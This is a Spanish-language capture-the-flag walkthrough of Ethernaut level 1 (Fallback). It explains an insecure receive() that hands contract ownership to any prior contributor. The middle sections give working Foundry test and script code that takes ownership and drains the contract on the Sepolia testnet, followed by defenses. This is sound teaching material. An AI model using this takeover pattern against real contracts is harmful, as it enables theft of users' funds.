Ethernaut Level 1 Walkthrough: Explotando el Control de Acceso en Solidity
En este artículo analizaremos y resolveremos el reto número 1 de Ethernaut: Fallback.
Este nivel parece simple, pero enseña una de las lecciones más importantes de seguridad en smart contracts: un mal control de acceso puede entregarle el contrato completo a un atacante.
Además de resolver el reto, también entenderemos:
- Qué son las funciones
receiveyfallback - Por qué el control de acceso mal diseñado es peligroso
- Cómo una transferencia directa de ETH puede cambiar el dueño de un contrato
- Cómo construir un contrato atacante que tome el control
- Cómo validar el exploit usando Foundry y Sepolia
- Cómo defenderse correctamente
Si eres desarrollador, este artículo te ayudará a entender por qué cada ruta que modifica el estado sensible debe estar protegida.
Si te interesa la seguridad de smart contracts, este reto es la puerta de entrada perfecta al análisis de control de acceso.
Puedes ver más contenido de seguridad Web3 en nuestro canal de YouTube - Seclat.
Descripción del Reto
El contrato lleva un registro de las contribuciones de cada usuario y tiene un dueño (owner).
Los usuarios pueden contribuir pequeñas cantidades de ETH, y solo el dueño puede retirar los fondos.
El objetivo del reto es:
Convertirte en el dueño del contrato y drenar todo su balance.
Clasificación de la Vulnerabilidad
| Categoría | Valor |
|---|---|
| Vulnerabilidad: | Control de acceso inseguro |
| Causa Raíz: | La función receive reasigna el owner con una validación trivial |
| Impacto: | Toma de control del contrato y pérdida total de los fondos |
| Severidad: | Crítica |
| Tipo de Ataque: | Secuestro de propiedad vía transferencia directa de ETH |
Análisis del Contrato Vulnerable
Este es el contrato vulnerable utilizado en el reto:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Fallback {
mapping(address => uint256) public contributions;
address public owner;
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint256) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
Causa Raíz de la Vulnerabilidad
El contrato tiene dos caminos para convertirse en dueño.
El primero es legítimo: contribuir más que el dueño actual, que arranca con 1000 ETH. Este camino es muy complicado, porque contribute() exige msg.value < 0.001 ether.
El segundo camino está en la función receive:
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
Esta función se ejecuta cuando alguien envía ETH directamente al contrato sin llamar a ninguna función.
El problema es que reasigna la propiedad con una condición trivial de cumplir:
Basta con haber contribuido cualquier cantidad mayor a cero y enviar cualquier cantidad de ETH mayor a cero.
No valida contribuciones acumuladas, ni compara contra el balance del dueño, ni exige permisos. Cualquier persona puede satisfacer ambas condiciones en segundos.
Esto viola un principio central de seguridad en Solidity:
Toda ruta que modifique estado sensible, como la propiedad de un contrato, debe estar protegida con un control de acceso estricto.
Entendiendo las funciones receive y fallback
En Solidity, un contrato puede recibir ETH sin que se llame a una función específica.
El flujo es el siguiente:
- Un usuario envía ETH al contrato con
call,transferosend. - Si no se especifican datos de llamada, se ejecuta
receive(). - Si se envían datos que no coinciden con ninguna función, se ejecuta
fallback(). - Ambas funciones corren con gas limitado en algunos casos, pero pueden modificar estado.
El error de diseño aparece cuando estas funciones hacen algo más que aceptar ETH.
En este reto, receive() cambia el dueño del contrato. Eso convierte una simple transferencia en una toma de control.
¿Por Qué las funciones fallback son peligrosas?
Las funciones receive y fallback son puntos de entrada silenciosos.
Se ejecutan sin que el desarrollador lo note, muchas veces solo por recibir ETH.
Si dentro de ellas se coloca lógica sensible, se crea una ruta de ataque invisible:
- No aparece en la interfaz pública obvia del contrato.
- No exige llamar a una función con nombre.
- Se dispara con una transacción tan simple como enviar ETH.
La regla práctica es clara:
- Mantén
receiveyfallbacklo más simples posible. - Nunca cambies propiedad, roles o permisos dentro de ellas.
- Si deben modificar estado, aplícales el mismo control de acceso que a cualquier función crítica.
Estrategia del Ataque
Ahora que entendemos la vulnerabilidad, podemos diseñar el exploit.
Sabemos que:
contribute()acepta cantidades menores a 0.001 ether.- Una contribución mínima deja
contributions[msg.sender] > 0. receive()nos hace dueños si contribuimos antes y enviamos ETH directamente.withdraw()solo lo puede llamar el dueño.
Por lo tanto, nuestra estrategia será:
- Contribuir una cantidad mínima, por ejemplo 1 wei.
- Enviar una transferencia directa de ETH al contrato para disparar
receive(). - Convertirnos en el nuevo dueño.
- Llamar a
withdraw()y drenar todo el balance.
Validando el Exploit con Foundry
Después de clonar el repositorio de Ethernaut localmente, podemos crear un test con Foundry para validar el exploit.
// SPDX-License-Identifier: MIT
// Fallback_L1.t.sol
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import {Utils} from "test/utils/Utils.sol";
import {DummyFactory} from "src/levels/DummyFactory.sol";
import {Fallback} from "src/levels/Fallback.sol";
import {Level} from "src/levels/base/Level.sol";
import {Ethernaut} from "src/Ethernaut.sol";
contract TestFallback_L1 is Test, Utils {
Ethernaut ethernaut;
Fallback instance;
address payable owner;
address payable player;
function setUp() public {
address payable[] memory users = createUsers(2);
owner = users[0];
vm.label(owner, "Owner");
player = users[1];
vm.label(player, "Player");
vm.startPrank(owner);
ethernaut = getEthernautWithStatsProxy(owner);
DummyFactory factory = DummyFactory(getOldFactory("FallbackFactory"));
ethernaut.registerLevel(Level(address(factory)));
vm.stopPrank();
vm.startPrank(player);
instance = Fallback(payable(createLevelInstance(ethernaut, Level(address(factory)), 0)));
vm.stopPrank();
}
function testInit() public {
vm.startPrank(player);
assertFalse(submitLevelInstance(ethernaut, address(instance)));
}
function testSolve() public {
vm.startPrank(player);
instance.contribute{value: 1 wei}();
(bool ok,) = address(instance).call{value: 1 wei}("");
require(ok, "receive failed");
instance.withdraw();
assertEq(instance.owner(), player, "Player is not the new owner");
assertEq(address(instance).balance, 0, "not 0 balance");
assertTrue(submitLevelInstance(ethernaut, address(instance)));
vm.stopPrank();
}
}
Ejecutando el Test
Para ejecutar el test del exploit en un fork de Sepolia, ejecuta:
forge test --mp Fallback_L1.t.sol --mt testSolve --fork-url $SEPOLIA_RPC -vvv
Debes configurar la variable SEPOLIA_RPC dentro de tu archivo .env.
Si la terminal no reconoce la variable, ejecuta:
source .env
Una vez ejecutada, podremos verificar que el atacante quedó como dueño y que el contrato fue drenado.
Resolviendo el Nivel en Sepolia
Ahora crearemos un script para ejecutar el exploit directamente contra la instancia de Ethernaut.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import {Script} from "forge-std/Script.sol";
import {Fallback} from "src/levels/Fallback.sol";
import {console} from "forge-std/console.sol";
contract FallbackScript is Script {
Fallback public target;
address player = "0xYourSepoliaWalletAddress";
function setUp() public {
target = Fallback(payable("0xYourEthernautInstance"));
}
function run() public {
uint256 pk = vm.envUint("PK"); // Private Key from .env to sign the Tx
vm.startBroadcast(pk);
target.contribute{value: 1 wei}();
(bool ok,) = address(target).call{value: 1 wei}("");
require(ok, "receive failed");
target.withdraw();
console.log("Nuevo owner:", target.owner());
console.log("Balance del target:", address(target).balance);
vm.stopBroadcast();
}
}
Ejecutando el Script
Primero ejecutamos el script localmente:
forge script scripts/Fallback.s.sol --rpc-url $SEPOLIA_RPC
Si todo funciona correctamente, podemos enviarlo a Sepolia:
forge script scripts/Fallback.s.sol --rpc-url $SEPOLIA_RPC --broadcast --interactives 1 -vvv
Una vez que el exploit finalice, el balance del contrato vulnerable será cero y el nivel quedará resuelto, solo tienes que enviar la instancia en la página de Ethernaut.
Cómo Prevenir esta Vulnerabilidad
La defensa central es tratar el cambio de propiedad como una operación privilegiada.
Control de acceso estricto
Nunca cambies el owner dentro de receive o fallback. Si necesitas transferir la propiedad, hazlo en una función explícita y protegida:
function transferOwnership(address newOwner) external onlyOwner {
require(newOwner != address(0), "zero address");
owner = newOwner;
}
Mantén las funciones de recepción mínimas
La función receive debería, en el mejor de los casos, solo aceptar ETH:
receive() external payable {}
Si tu contrato no necesita recibir ETH sin datos, considera revertir para cerrar la ruta por completo.
Usa patrones probados
Librerías como Ownable de OpenZeppelin centralizan el control de propiedad y evitan reasignaciones accidentales:
import "@openzeppelin/contracts/access/Ownable.sol";
contract Secure is Ownable {
// La propiedad solo cambia por transferOwnership, protegida por onlyOwner
}
Lecciones Aprendidas
Este reto demuestra que la seguridad no depende del tamaño del código, sino de proteger cada ruta sensible.
Lecciones clave de este nivel:
- Toda modificación de propiedad o roles debe estar detrás de un control de acceso.
- Las funciones
receiveyfallbackson puntos de entrada reales, no adornos. - Una transferencia de ETH aparentemente inofensiva puede cambiar el estado crítico.
- Mantén las funciones de recepción tan simples como sea posible.
- Reutiliza patrones auditados en lugar de escribir control de acceso a mano.
Conclusión
En este reto explotamos un control de acceso inseguro que permitía tomar la propiedad del contrato con una simple transferencia de ETH.
Contribuimos una cantidad mínima, disparamos la función receive para convertirnos en dueños y luego drenamos todo el balance.
Este nivel es una excelente introducción a:
- Análisis de control de acceso
- Funciones
receiveyfallback - Rutas de ataque silenciosas
- Diseño seguro de propiedad
- Metodologías de explotación del mundo real
Puedes encontrar más contenido sobre seguridad Web3 en nuestro blog.
Si estás buscando una auditoría de seguridad para tu protocolo, puedes contactarnos a través de nuestro sitio web seclat.xyz.